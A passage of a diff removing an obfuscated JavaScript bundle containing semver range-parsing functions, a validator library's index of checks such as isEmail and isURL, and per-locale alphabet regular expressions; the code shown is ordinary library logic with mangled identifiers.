- var _0x21f858 = _0x4d3366(this.semver, ">", _0x5ab4d4.semver, _0x39dd57) && ("<=" === this.operator || "<" === this.operator) && (">=" === _0x5ab4d4.operator || ">" === _0x5ab4d4.operator);
- return _0x2bee87 || _0x4580ac || _0x493848 && _0x52f99d || _0x5ac74a || _0x21f858;
- };
- _0x171e32.Range = _0x2ade90;
- _0x2ade90.prototype.format = function () {
- this.range = this.set.map(function (_0x558d9d) {
- return _0x558d9d.join(" ").trim();
- }).join("||").trim();
- return this.range;
- };
- _0x2ade90.prototype.toString = function () {
- return this.range;
- };
- _0x2ade90.prototype.parseRange = function (_0x3a1bfd) {
- var _0x2d63b5 = this.options.loose;
- var _0x87b87e = _0x2d63b5 ? _0x10e696[_0x51425e] : _0x10e696[_0x430fb0];
- _0x3a1bfd = _0x3a1bfd.replace(_0x87b87e, _0x173ac4);
- _0x339b3f("hyphen replace", _0x3a1bfd);
- _0x3a1bfd = _0x3a1bfd.replace(_0x10e696[_0x35b07b], "$1$2$3");
- _0x339b3f("comparator trim", _0x3a1bfd, _0x10e696[_0x35b07b]);
- _0x3a1bfd = (_0x3a1bfd = _0x3a1bfd.replace(_0x10e696[_0x9e280f], "$1~")).replace(_0x10e696[_0x5ac2e0], "$1^");
- var _0x2e48cf = _0x2d63b5 ? _0x10e696[_0x598c51] : _0x10e696[_0x3d680e];
- var _0x18f8d3 = _0x3a1bfd.split(" ").map(function (_0x291380) {
- return function (_0x225876, _0x1e3c0a) {
- _0x339b3f("comp", _0x225876, _0x1e3c0a);
- _0x225876 = function (_0x2e15cc, _0x595935) {
- return _0x2e15cc.trim().split(/\s+/).map(function (_0x4b2bdd) {
- return function (_0x55424c, _0x3b9773) {
- _0x339b3f("caret", _0x55424c, _0x3b9773);
- var _0x476bb4 = _0x3b9773.loose ? _0x10e696[_0x377075] : _0x10e696[_0x1d0c74];
- return _0x55424c.replace(_0x476bb4, function (_0x31c6d9, _0x4eb1f3, _0x10f8f7, _0x2e27c6, _0x225e57) {
- var _0x18a4c6;
- _0x339b3f("caret", _0x55424c, _0x31c6d9, _0x4eb1f3, _0x10f8f7, _0x2e27c6, _0x225e57);
- _0x19cc2d(_0x4eb1f3) ? _0x18a4c6 = "" : _0x19cc2d(_0x10f8f7) ? _0x18a4c6 = ">=" + _0x4eb1f3 + ".0.0 <" + (+_0x4eb1f3 + 1) + ".0.0" : _0x19cc2d(_0x2e27c6) ? _0x18a4c6 = "0" === _0x4eb1f3 ? ">=" + _0x4eb1f3 + "." + _0x10f8f7 + ".0 <" + _0x4eb1f3 + "." + (+_0x10f8f7 + 1) + ".0" : ">=" + _0x4eb1f3 + "." + _0x10f8f7 + ".0 <" + (+_0x4eb1f3 + 1) + ".0.0" : _0x225e57 ? (_0x339b3f("replaceCaret pr", _0x225e57), _0x18a4c6 = "0" === _0x4eb1f3 ? "0" === _0x10f8f7 ? ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + "-" + _0x225e57 + " <" + _0x4eb1f3 + "." + _0x10f8f7 + "." + (+_0x2e27c6 + 1) : ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + "-" + _0x225e57 + " <" + _0x4eb1f3 + "." + (+_0x10f8f7 + 1) + ".0" : ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + "-" + _0x225e57 + " <" + (+_0x4eb1f3 + 1) + ".0.0") : (_0x339b3f("no pr"), _0x18a4c6 = "0" === _0x4eb1f3 ? "0" === _0x10f8f7 ? ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + " <" + _0x4eb1f3 + "." + _0x10f8f7 + "." + (+_0x2e27c6 + 1) : ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + " <" + _0x4eb1f3 + "." + (+_0x10f8f7 + 1) + ".0" : ">=" + _0x4eb1f3 + "." + _0x10f8f7 + "." + _0x2e27c6 + " <" + (+_0x4eb1f3 + 1) + ".0.0");
- _0x339b3f("caret return", _0x18a4c6);
- return _0x18a4c6;
- });
- }(_0x4b2bdd, _0x595935);
- }).join(" ");
- }(_0x225876, _0x1e3c0a);
- _0x339b3f("caret", _0x225876);
- _0x225876 = function (_0x2c63dc, _0x42b975) {
- return _0x2c63dc.trim().split(/\s+/).map(function (_0x26ed96) {
- return function (_0x416863, _0x180948) {
- var _0x25b9c = _0x180948.loose ? _0x10e696[_0x50476e] : _0x10e696[_0xf480a1];
- return _0x416863.replace(_0x25b9c, function (_0x3ace23, _0x1e0c1b, _0x2391d3, _0x2f40c4, _0x1c9911) {
- var _0x57bdc0;
- _0x339b3f("tilde", _0x416863, _0x3ace23, _0x1e0c1b, _0x2391d3, _0x2f40c4, _0x1c9911);
- _0x19cc2d(_0x1e0c1b) ? _0x57bdc0 = "" : _0x19cc2d(_0x2391d3) ? _0x57bdc0 = ">=" + _0x1e0c1b + ".0.0 <" + (+_0x1e0c1b + 1) + ".0.0" : _0x19cc2d(_0x2f40c4) ? _0x57bdc0 = ">=" + _0x1e0c1b + "." + _0x2391d3 + ".0 <" + _0x1e0c1b + "." + (+_0x2391d3 + 1) + ".0" : _0x1c9911 ? (_0x339b3f("replaceTilde pr", _0x1c9911), _0x57bdc0 = ">=" + _0x1e0c1b + "." + _0x2391d3 + "." + _0x2f40c4 + "-" + _0x1c9911 + " <" + _0x1e0c1b + "." + (+_0x2391d3 + 1) + ".0") : _0x57bdc0 = ">=" + _0x1e0c1b + "." + _0x2391d3 + "." + _0x2f40c4 + " <" + _0x1e0c1b + "." + (+_0x2391d3 + 1) + ".0";
- _0x339b3f("tilde return", _0x57bdc0);
- return _0x57bdc0;
- });
- }(_0x26ed96, _0x42b975);
- }).join(" ");
- }(_0x225876, _0x1e3c0a);
- _0x339b3f("tildes", _0x225876);
- _0x225876 = function (_0x11c80c, _0x13796e) {
- _0x339b3f("replaceXRanges", _0x11c80c, _0x13796e);
- return _0x11c80c.split(/\s+/).map(function (_0x1932d6) {
- return function (_0xf18dbf, _0x14ad56) {
- _0xf18dbf = _0xf18dbf.trim();
- var _0x43a9fe = _0x14ad56.loose ? _0x10e696[_0x15a153] : _0x10e696[_0x12cb6d];
- return _0xf18dbf.replace(_0x43a9fe, function (_0x1c6adb, _0x166ba2, _0x1a7bcd, _0x5002d0, _0x46d481, _0x492f10) {
- _0x339b3f("xRange", _0xf18dbf, _0x1c6adb, _0x166ba2, _0x1a7bcd, _0x5002d0, _0x46d481, _0x492f10);
- var _0x1584dc = _0x19cc2d(_0x1a7bcd);
- var _0x383681 = _0x1584dc || _0x19cc2d(_0x5002d0);
- var _0x214b23 = _0x383681 || _0x19cc2d(_0x46d481);
- "=" === _0x166ba2 && _0x214b23 && (_0x166ba2 = "");
- _0x1584dc ? _0x1c6adb = ">" === _0x166ba2 || "<" === _0x166ba2 ? "<0.0.0" : "*" : _0x166ba2 && _0x214b23 ? (_0x383681 && (_0x5002d0 = 0), _0x46d481 = 0, ">" === _0x166ba2 ? (_0x166ba2 = ">=", _0x383681 ? (_0x1a7bcd = +_0x1a7bcd + 1, _0x5002d0 = 0, _0x46d481 = 0) : (_0x5002d0 = +_0x5002d0 + 1, _0x46d481 = 0)) : "<=" === _0x166ba2 && (_0x166ba2 = "<", _0x383681 ? _0x1a7bcd = +_0x1a7bcd + 1 : _0x5002d0 = +_0x5002d0 + 1), _0x1c6adb = _0x166ba2 + _0x1a7bcd + "." + _0x5002d0 + "." + _0x46d481) : _0x383681 ? _0x1c6adb = ">=" + _0x1a7bcd + ".0.0 <" + (+_0x1a7bcd + 1) + ".0.0" : _0x214b23 && (_0x1c6adb = ">=" + _0x1a7bcd + "." + _0x5002d0 + ".0 <" + _0x1a7bcd + "." + (+_0x5002d0 + 1) + ".0");
- _0x339b3f("xRange return", _0x1c6adb);
- return _0x1c6adb;
- });
- }(_0x1932d6, _0x13796e);
- }).join(" ");
- }(_0x225876, _0x1e3c0a);
- _0x339b3f("xrange", _0x225876);
- _0x225876 = function (_0xd48960, _0x7fcc04) {
- _0x339b3f("replaceStars", _0xd48960, _0x7fcc04);
- return _0xd48960.trim().replace(_0x10e696[_0x2117c5], "");
- }(_0x225876, _0x1e3c0a);
- _0x339b3f("stars", _0x225876);
- return _0x225876;
- }(_0x291380, this.options);
- }, this).join(" ").split(/\s+/);
- this.options.loose && (_0x18f8d3 = _0x18f8d3.filter(function (_0x2c362e) {
- return !!_0x2c362e.match(_0x2e48cf);
- }));
- return _0x18f8d3.map(function (_0xee440b) {
- return new _0x32183c(_0xee440b, this.options);
- }, this);
- };
- _0x2ade90.prototype.intersects = function (_0xfcf03a, _0x547841) {
- if (!(_0xfcf03a instanceof _0x2ade90)) {
- throw new TypeError("a Range is required");
- }
- return this.set.some(function (_0x4cde76) {
- return _0x4cde76.every(function (_0x493760) {
- return _0xfcf03a.set.some(function (_0x4820f6) {
- return _0x4820f6.every(function (_0x4340db) {
- return _0x493760.intersects(_0x4340db, _0x547841);
- });
- });
- });
- });
- };
- _0x171e32.toComparators = function (_0x143085, _0x31700a) {
- return new _0x2ade90(_0x143085, _0x31700a).set.map(function (_0xeaac11) {
- return _0xeaac11.map(function (_0x390ab2) {
- return _0x390ab2.value;
- }).join(" ").trim().split(" ");
- });
- };
- _0x2ade90.prototype.test = function (_0x41d66e) {
- if (!_0x41d66e) {
- return false;
- }
- "string" == typeof _0x41d66e && (_0x41d66e = new _0x2140cd(_0x41d66e, this.options));
- for (var _0x5c35fe = 0; _0x5c35fe < this.set.length; _0x5c35fe++) {
- if (_0x10df91(this.set[_0x5c35fe], _0x41d66e, this.options)) {
- return true;
- }
- }
- return false;
- };
- _0x171e32.satisfies = _0x27a02b;
- _0x171e32.maxSatisfying = function (_0x493554, _0x58121e, _0x5f39f0) {
- var _0x26ffea = null;
- var _0x54d6fd = null;
- try {
- var _0x5a80fb = new _0x2ade90(_0x58121e, _0x5f39f0);
- } catch (_0x754486) {
- return null;
- }
- _0x493554.forEach(function (_0x3f5b05) {
- _0x5a80fb.test(_0x3f5b05) && (_0x26ffea && -1 !== _0x54d6fd.compare(_0x3f5b05) || (_0x54d6fd = new _0x2140cd(_0x26ffea = _0x3f5b05, _0x5f39f0)));
- });
- return _0x26ffea;
- };
- _0x171e32.minSatisfying = function (_0x237377, _0x21b5f3, _0x294153) {
- var _0x50f065 = null;
- var _0x569baa = null;
- try {
- var _0x1e0b59 = new _0x2ade90(_0x21b5f3, _0x294153);
- } catch (_0x2b2b25) {
- return null;
- }
- _0x237377.forEach(function (_0x1d819d) {
- _0x1e0b59.test(_0x1d819d) && (_0x50f065 && 1 !== _0x569baa.compare(_0x1d819d) || (_0x569baa = new _0x2140cd(_0x50f065 = _0x1d819d, _0x294153)));
- });
- return _0x50f065;
- };
- _0x171e32.minVersion = function (_0xfd58a, _0x31af9e) {
- _0xfd58a = new _0x2ade90(_0xfd58a, _0x31af9e);
- var _0x326c17 = new _0x2140cd("0.0.0");
- if (_0xfd58a.test(_0x326c17)) {
- return _0x326c17;
- }
- if (_0x326c17 = new _0x2140cd("0.0.0-0"), _0xfd58a.test(_0x326c17)) {
- return _0x326c17;
- }
- _0x326c17 = null;
- for (var _0x5ba0a1 = 0; _0x5ba0a1 < _0xfd58a.set.length; ++_0x5ba0a1) {
- _0xfd58a.set[_0x5ba0a1].forEach(function (_0x27e164) {
- var _0xdb607c = new _0x2140cd(_0x27e164.semver.version);
- switch (_0x27e164.operator) {
- case ">":
- 0 === _0xdb607c.prerelease.length ? _0xdb607c.patch++ : _0xdb607c.prerelease.push(0);
- _0xdb607c.raw = _0xdb607c.format();
- case "":
- case ">=":
- _0x326c17 && !_0x2d9ede(_0x326c17, _0xdb607c) || (_0x326c17 = _0xdb607c);
- break;
- case "<":
- case "<=":
- break;
- default:
- throw new Error("Unexpected operation: " + _0x27e164.operator);
- }
- });
- }
- return _0x326c17 && _0xfd58a.test(_0x326c17) ? _0x326c17 : null;
- };
- _0x171e32.validRange = function (_0xd19697, _0x5eba49) {
- try {
- return new _0x2ade90(_0xd19697, _0x5eba49).range || "*";
- } catch (_0x31b413) {
- return null;
- }
- };
- _0x171e32.ltr = function (_0x4d3a25, _0x57265d, _0x5f8e87) {
- return _0x1c7ea4(_0x4d3a25, _0x57265d, "<", _0x5f8e87);
- };
- _0x171e32.gtr = function (_0x1493c0, _0x1764a4, _0x4f8f56) {
- return _0x1c7ea4(_0x1493c0, _0x1764a4, ">", _0x4f8f56);
- };
- _0x171e32.outside = _0x1c7ea4;
- _0x171e32.prerelease = function (_0x1c9a0a, _0x4d9675) {
- var _0x5f441c = _0x5b00ee(_0x1c9a0a, _0x4d9675);
- return _0x5f441c && _0x5f441c.prerelease.length ? _0x5f441c.prerelease : null;
- };
- _0x171e32.intersects = function (_0x3d3926, _0x3b92f5, _0x756850) {
- _0x3d3926 = new _0x2ade90(_0x3d3926, _0x756850);
- _0x3b92f5 = new _0x2ade90(_0x3b92f5, _0x756850);
- return _0x3d3926.intersects(_0x3b92f5);
- };
- _0x171e32.coerce = function (_0x48fc92) {
- if (_0x48fc92 instanceof _0x2140cd) {
- return _0x48fc92;
- }
- if ("string" != typeof _0x48fc92) {
- return null;
- }
- var _0x52c872 = _0x48fc92.match(_0x10e696[_0x2865af]);
- return null == _0x52c872 ? null : _0x5b00ee(_0x52c872[1] + "." + (_0x52c872[2] || "0") + "." + (_0x52c872[3] || "0"));
- };
- },
- 8966: (_0x36cf46, _0x252044, _0x46c82c) => {
- "use strict";
-
- function _0x4bfb67(_0x3ffea2) {
- _0x4bfb67 = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (_0x44c7dc) {
- return typeof _0x44c7dc;
- } : function (_0x3259e1) {
- return _0x3259e1 && "function" == typeof Symbol && _0x3259e1.constructor === Symbol && _0x3259e1 !== Symbol.prototype ? "symbol" : typeof _0x3259e1;
- };
- return _0x4bfb67(_0x3ffea2);
- }
- Object.defineProperty(_0x252044, "__esModule", {
- value: true
- });
- _0x252044.default = undefined;
- var _0x41ff0c = _0x7f74b2(_0x46c82c(8469));
- var _0x395c4e = _0x7f74b2(_0x46c82c(7536));
- var _0x1370cf = _0x7f74b2(_0x46c82c(1359));
- var _0x13ab2c = _0x7f74b2(_0x46c82c(557));
- var _0x21fccb = _0x7f74b2(_0x46c82c(2315));
- var _0x3f1d21 = _0x7f74b2(_0x46c82c(9466));
- var _0x590606 = _0x7f74b2(_0x46c82c(661));
- var _0x41bdea = _0x7f74b2(_0x46c82c(3868));
- var _0xbb27f = _0x7f74b2(_0x46c82c(2492));
- var _0x48554e = _0x7f74b2(_0x46c82c(8999));
- var _0x3916bb = _0x7f74b2(_0x46c82c(1028));
- var _0x32056e = _0x7f74b2(_0x46c82c(7795));
- var _0x198f1a = _0x7f74b2(_0x46c82c(221));
- var _0x235529 = _0x7f74b2(_0x46c82c(2549));
- var _0x532401 = _0x7f74b2(_0x46c82c(3494));
- var _0x4e8964 = _0x7f74b2(_0x46c82c(9493));
- var _0x2d299a = _0x7f74b2(_0x46c82c(7380));
- var _0x4b3da6 = _0x20b692(_0x46c82c(9234));
- var _0x58b2c4 = _0x20b692(_0x46c82c(4583));
- var _0x2cec11 = _0x7f74b2(_0x46c82c(4986));
- var _0x5ba8ff = _0x7f74b2(_0x46c82c(1513));
- var _0x5f30a5 = _0x7f74b2(_0x46c82c(4595));
- var _0x2f9072 = _0x7f74b2(_0x46c82c(3928));
- var _0x1bb4d2 = _0x7f74b2(_0x46c82c(7245));
- var _0x121da8 = _0x7f74b2(_0x46c82c(5566));
- var _0x59ce96 = _0x7f74b2(_0x46c82c(4094));
- var _0x545906 = _0x7f74b2(_0x46c82c(7146));
- var _0x4e6565 = _0x7f74b2(_0x46c82c(2941));
- var _0x5e5e8f = _0x7f74b2(_0x46c82c(9019));
- var _0x5bb22c = _0x7f74b2(_0x46c82c(3590));
- var _0x2728db = _0x7f74b2(_0x46c82c(6826));
- var _0x53b23b = _0x7f74b2(_0x46c82c(2828));
- var _0x2541b4 = _0x7f74b2(_0x46c82c(937));
- var _0x1cd186 = _0x20b692(_0x46c82c(9146));
- var _0x49e161 = _0x7f74b2(_0x46c82c(5218));
- var _0x2644d9 = _0x7f74b2(_0x46c82c(7117));
- var _0x32ed6b = _0x7f74b2(_0x46c82c(6090));
- var _0xbfb7c7 = _0x7f74b2(_0x46c82c(8335));
- var _0x2d2a8b = _0x7f74b2(_0x46c82c(6298));
- var _0x5c0a57 = _0x7f74b2(_0x46c82c(6454));
- var _0x51ebc7 = _0x7f74b2(_0x46c82c(6648));
- var _0x4dc6b6 = _0x7f74b2(_0x46c82c(4339));
- var _0x3b409a = _0x20b692(_0x46c82c(8177));
- var _0xdebda0 = _0x7f74b2(_0x46c82c(2438));
- var _0x9498c6 = _0x7f74b2(_0x46c82c(368));
- var _0x387ed6 = _0x7f74b2(_0x46c82c(8874));
- var _0x32553b = _0x7f74b2(_0x46c82c(4979));
- var _0xf5ddc2 = _0x7f74b2(_0x46c82c(1008));
- var _0x39fa78 = _0x7f74b2(_0x46c82c(4069));
- var _0x5d006c = _0x7f74b2(_0x46c82c(4958));
- var _0x68b280 = _0x7f74b2(_0x46c82c(3235));
- var _0x5d1146 = _0x7f74b2(_0x46c82c(7278));
- var _0x367cbe = _0x7f74b2(_0x46c82c(9131));
- var _0x43b1e9 = _0x7f74b2(_0x46c82c(3315));
- var _0x4c2c1b = _0x7f74b2(_0x46c82c(1464));
- var _0x1cae00 = _0x7f74b2(_0x46c82c(7228));
- var _0xdba37b = _0x7f74b2(_0x46c82c(1592));
- var _0x1f49aa = _0x7f74b2(_0x46c82c(682));
- var _0x2731d1 = _0x7f74b2(_0x46c82c(9396));
- var _0x468248 = _0x7f74b2(_0x46c82c(5807));
- var _0xc2cabe = _0x7f74b2(_0x46c82c(7148));
- var _0x54b8c3 = _0x7f74b2(_0x46c82c(7612));
- var _0x2b6c5b = _0x7f74b2(_0x46c82c(9887));
- var _0x1981cd = _0x7f74b2(_0x46c82c(3058));
- var _0x1d64c8 = _0x20b692(_0x46c82c(8355));
- var _0x142fd4 = _0x7f74b2(_0x46c82c(2129));
- var _0x52c2da = _0x7f74b2(_0x46c82c(94));
- var _0x46b239 = _0x7f74b2(_0x46c82c(8021));
- var _0xbf163b = _0x7f74b2(_0x46c82c(9211));
- var _0x4236ba = _0x7f74b2(_0x46c82c(5061));
- var _0x49bf91 = _0x7f74b2(_0x46c82c(4611));
- var _0x38b8f0 = _0x7f74b2(_0x46c82c(1727));
- var _0x20c6eb = _0x7f74b2(_0x46c82c(6776));
- var _0x2ceb26 = _0x7f74b2(_0x46c82c(9963));
- var _0x545e38 = _0x7f74b2(_0x46c82c(2782));
- var _0x295453 = _0x7f74b2(_0x46c82c(5008));
- var _0xb35647 = _0x7f74b2(_0x46c82c(2689));
- var _0x1e18a3 = _0x7f74b2(_0x46c82c(8983));
- var _0x4ae148 = _0x7f74b2(_0x46c82c(2776));
- var _0x4ec373 = _0x7f74b2(_0x46c82c(4554));
- var _0x220361 = _0x7f74b2(_0x46c82c(478));
- var _0x1ea04d = _0x20b692(_0x46c82c(8140));
- var _0x46f9ad = _0x7f74b2(_0x46c82c(4959));
- var _0x204408 = _0x7f74b2(_0x46c82c(9778));
- var _0x5c55ac = _0x7f74b2(_0x46c82c(4790));
- var _0x4b6744 = _0x7f74b2(_0x46c82c(5152));
- var _0x46847e = _0x7f74b2(_0x46c82c(4816));
- var _0x23b606 = _0x7f74b2(_0x46c82c(8035));
- var _0x2b40d7 = _0x7f74b2(_0x46c82c(4714));
- var _0x1f858a = _0x7f74b2(_0x46c82c(4928));
- var _0xbadfb2 = _0x7f74b2(_0x46c82c(8346));
- var _0x44257f = _0x7f74b2(_0x46c82c(2900));
- var _0x5865e6 = _0x7f74b2(_0x46c82c(8220));
- var _0xe99cdc = _0x7f74b2(_0x46c82c(2786));
- var _0x3f4364 = _0x7f74b2(_0x46c82c(7633));
- var _0x2f723b = _0x7f74b2(_0x46c82c(5977));
- function _0x4e3329() {
- if ("function" != typeof WeakMap) {
- return null;
- }
- var _0x5a8bc2 = new WeakMap();
- _0x4e3329 = function () {
- return _0x5a8bc2;
- };
- return _0x5a8bc2;
- }
- function _0x20b692(_0x14c2c7) {
- if (_0x14c2c7 && _0x14c2c7.__esModule) {
- return _0x14c2c7;
- }
- if (null === _0x14c2c7 || "object" !== _0x4bfb67(_0x14c2c7) && "function" != typeof _0x14c2c7) {
- return {
- default: _0x14c2c7
- };
- }
- var _0x442223 = _0x4e3329();
- if (_0x442223 && _0x442223.has(_0x14c2c7)) {
- return _0x442223.get(_0x14c2c7);
- }
- var _0x41164a = {};
- var _0x107ee7 = Object.defineProperty && Object.getOwnPropertyDescriptor;
- for (var _0x41f361 in _0x14c2c7) if (Object.prototype.hasOwnProperty.call(_0x14c2c7, _0x41f361)) {
- var _0x6924a1 = _0x107ee7 ? Object.getOwnPropertyDescriptor(_0x14c2c7, _0x41f361) : null;
- _0x6924a1 && (_0x6924a1.get || _0x6924a1.set) ? Object.defineProperty(_0x41164a, _0x41f361, _0x6924a1) : _0x41164a[_0x41f361] = _0x14c2c7[_0x41f361];
- }
- _0x41164a.default = _0x14c2c7;
- _0x442223 && _0x442223.set(_0x14c2c7, _0x41164a);
- return _0x41164a;
- }
- function _0x7f74b2(_0x22d64b) {
- return _0x22d64b && _0x22d64b.__esModule ? _0x22d64b : {
- default: _0x22d64b
- };
- }
- var _0x1d8692 = {
- version: "13.9.0",
- toDate: _0x41ff0c.default,
- toFloat: _0x395c4e.default,
- toInt: _0x1370cf.default,
- toBoolean: _0x13ab2c.default,
- equals: _0x21fccb.default,
- contains: _0x3f1d21.default,
- matches: _0x590606.default,
- isEmail: _0x41bdea.default,
- isURL: _0xbb27f.default,
- isMACAddress: _0x48554e.default,
- isIP: _0x3916bb.default,
- isIPRange: _0x32056e.default,
- isFQDN: _0x198f1a.default,
- isBoolean: _0x4e8964.default,
- isIBAN: _0x3b409a.default,
- isBIC: _0xdebda0.default,
- isAlpha: _0x4b3da6.default,
- isAlphaLocales: _0x4b3da6.locales,
- isAlphanumeric: _0x58b2c4.default,
- isAlphanumericLocales: _0x58b2c4.locales,
- isNumeric: _0x2cec11.default,
- isPassportNumber: _0x5ba8ff.default,
- isPort: _0x5f30a5.default,
- isLowercase: _0x2f9072.default,
- isUppercase: _0x1bb4d2.default,
- isAscii: _0x59ce96.default,
- isFullWidth: _0x545906.default,
- isHalfWidth: _0x4e6565.default,
- isVariableWidth: _0x5e5e8f.default,
- isMultibyte: _0x5bb22c.default,
- isSemVer: _0x2728db.default,
- isSurrogatePair: _0x53b23b.default,
- isInt: _0x2541b4.default,
- isIMEI: _0x121da8.default,
- isFloat: _0x1cd186.default,
- isFloatLocales: _0x1cd186.locales,
- isDecimal: _0x49e161.default,
- isHexadecimal: _0x2644d9.default,
- isOctal: _0x32ed6b.default,
- isDivisibleBy: _0xbfb7c7.default,
- isHexColor: _0x2d2a8b.default,
- isRgbColor: _0x5c0a57.default,
- isHSL: _0x51ebc7.default,
- isISRC: _0x4dc6b6.default,
- isMD5: _0x9498c6.default,
- isHash: _0x387ed6.default,
- isJWT: _0x32553b.default,
- isJSON: _0xf5ddc2.default,
- isEmpty: _0x39fa78.default,
- isLength: _0x5d006c.default,
- isLocale: _0x2d299a.default,
- isByteLength: _0x68b280.default,
- isUUID: _0x5d1146.default,
- isMongoId: _0x367cbe.default,
- isAfter: _0x43b1e9.default,
- isBefore: _0x4c2c1b.default,
- isIn: _0x1cae00.default,
- isLuhnNumber: _0xdba37b.default,
- isCreditCard: _0x1f49aa.default,
- isIdentityCard: _0x2731d1.default,
- isEAN: _0x468248.default,
- isISIN: _0xc2cabe.default,
- isISBN: _0x54b8c3.default,
- isISSN: _0x2b6c5b.default,
- isMobilePhone: _0x1d64c8.default,
- isMobilePhoneLocales: _0x1d64c8.locales,
- isPostalCode: _0x1ea04d.default,
- isPostalCodeLocales: _0x1ea04d.locales,
- isEthereumAddress: _0x142fd4.default,
- isCurrency: _0x52c2da.default,
- isBtcAddress: _0x46b239.default,
- isISO6391: _0xbf163b.default,
- isISO8601: _0x4236ba.default,
- isRFC3339: _0x49bf91.default,
- isISO31661Alpha2: _0x38b8f0.default,
- isISO31661Alpha3: _0x20c6eb.default,
- isISO4217: _0x2ceb26.default,
- isBase32: _0x545e38.default,
- isBase58: _0x295453.default,
- isBase64: _0xb35647.default,
- isDataURI: _0x1e18a3.default,
- isMagnetURI: _0x4ae148.default,
- isMimeType: _0x4ec373.default,
- isLatLong: _0x220361.default,
- ltrim: _0x46f9ad.default,
- rtrim: _0x204408.default,
- trim: _0x5c55ac.default,
- escape: _0x4b6744.default,
- unescape: _0x46847e.default,
- stripLow: _0x23b606.default,
- whitelist: _0x2b40d7.default,
- blacklist: _0x1f858a.default,
- isWhitelisted: _0xbadfb2.default,
- normalizeEmail: _0x44257f.default,
- toString: toString,
- isSlug: _0x5865e6.default,
- isStrongPassword: _0x3f4364.default,
- isTaxID: _0x1981cd.default,
- isDate: _0x235529.default,
- isTime: _0x532401.default,
- isLicensePlate: _0xe99cdc.default,
- isVAT: _0x2f723b.default,
- ibanLocales: _0x3b409a.locales
- };
- _0x252044.default = _0x1d8692;
- _0x36cf46.exports = _0x252044.default;
- _0x36cf46.exports.default = _0x252044.default;
- },
- 79: (_0x1b070c, _0x55a027) => {
- "use strict";
-
- Object.defineProperty(_0x55a027, "__esModule", {
- value: true
- });
- _0x55a027.commaDecimal = _0x55a027.dotDecimal = _0x55a027.bengaliLocales = _0x55a027.farsiLocales = _0x55a027.arabicLocales = _0x55a027.englishLocales = _0x55a027.decimal = _0x55a027.alphanumeric = _0x55a027.alpha = undefined;
- var _0x496a16 = {
- "en-US": /^[A-Z]+$/i,
- "az-AZ": /^[A-VXYZÇƏĞİıÖŞÜ]+$/i,
- "bg-BG": /^[А-Я]+$/i,
- "cs-CZ": /^[A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ]+$/i,
- "da-DK": /^[A-ZÆØÅ]+$/i,
- "de-DE": /^[A-ZÄÖÜß]+$/i,
- "el-GR": /^[Α-ώ]+$/i,
- "es-ES": /^[A-ZÁÉÍÑÓÚÜ]+$/i,
- "fa-IR": /^[ابپتثجچحخدذرزژسشصضطظعغفقکگلمنوهی]+$/i,
- "fi-FI": /^[A-ZÅÄÖ]+$/i,
- "fr-FR": /^[A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ]+$/i,
- "it-IT": /^[A-ZÀÉÈÌÎÓÒÙ]+$/i,
- "ja-JP": /^[ぁ-んァ-ヶヲ-゚一-龠ー・。、]+$/i,
- "nb-NO": /^[A-ZÆØÅ]+$/i,
- "nl-NL": /^[A-ZÁÉËÏÓÖÜÚ]+$/i,
- "nn-NO": /^[A-ZÆØÅ]+$/i,
- "hu-HU": /^[A-ZÁÉÍÓÖŐÚÜŰ]+$/i,
- "pl-PL": /^[A-ZĄĆĘŚŁŃÓŻŹ]+$/i,
- "pt-PT": /^[A-ZÃÁÀÂÄÇÉÊËÍÏÕÓÔÖÚÜ]+$/i,
- "ru-RU": /^[А-ЯЁ]+$/i,
- "sl-SI": /^[A-ZČĆĐŠŽ]+$/i,
- "sk-SK": /^[A-ZÁČĎÉÍŇÓŠŤÚÝŽĹŔĽÄÔ]+$/i,
- "sr-RS@latin": /^[A-ZČĆŽŠĐ]+$/i,
- "sr-RS": /^[А-ЯЂЈЉЊЋЏ]+$/i,
- "sv-SE": /^[A-ZÅÄÖ]+$/i,
- "th-TH": /^[ก-๐\s]+$/i,
- "tr-TR": /^[A-ZÇĞİıÖŞÜ]+$/i,
- "uk-UA": /^[А-ЩЬЮЯЄIЇҐі]+$/i,
- "vi-VN": /^[A-ZÀÁẠẢÃÂẦẤẬẨẪĂẰẮẶẲẴĐÈÉẸẺẼÊỀẾỆỂỄÌÍỊỈĨÒÓỌỎÕÔỒỐỘỔỖƠỜỚỢỞỠÙÚỤỦŨƯỪỨỰỬỮỲÝỴỶỸ]+$/i,
- "ko-KR": /^[ㄱ-ㅎㅏ-ㅣ가-힣]*$/,
- "ku-IQ": /^[ئابپتجچحخدرڕزژسشعغفڤقکگلڵمنوۆھەیێيطؤثآإأكضصةظذ]+$/i,
- ar: /^[ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ]+$/,
- he: /^[א-ת]+$/,
- fa: /^['آاءأؤئبپتثجچحخدذرزژسشصضطظعغفقکگلمنوهةی']+$/i,
- bn: /^['ঀঁংঃঅআইঈউঊঋঌএঐওঔকখগঘঙচছজঝঞটঠডঢণতথদধনপফবভমযরলশষসহ়ঽািীুূৃৄেৈোৌ্ৎৗড়ঢ়য়ৠৡৢৣৰৱ৲৳৴৵৶৷৸৹৺৻']+$/,
- "hi-IN": /^[\u0900-\u0961]+[\u0972-\u097F]*$/i,
- "si-LK": /^[\u0D80-\u0DFF]+$/
- };
- _0x55a027.alpha = _0x496a16;
- var _0x10ec8a = {
- "en-US": /^[0-9A-Z]+$/i,
- "az-AZ": /^[0-9A-VXYZÇƏĞİıÖŞÜ]+$/i,
- "bg-BG": /^[0-9А-Я]+$/i,
- "cs-CZ": /^[0-9A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ]+$/i,
- "da-DK": /^[0-9A-ZÆØÅ]+$/i,
- "de-DE": /^[0-9A-ZÄÖÜß]+$/i,
- "el-GR": /^[0-9Α-ω]+$/i,
- "es-ES": /^[0-9A-ZÁÉÍÑÓÚÜ]+$/i,
- "fi-FI": /^[0-9A-ZÅÄÖ]+$/i,
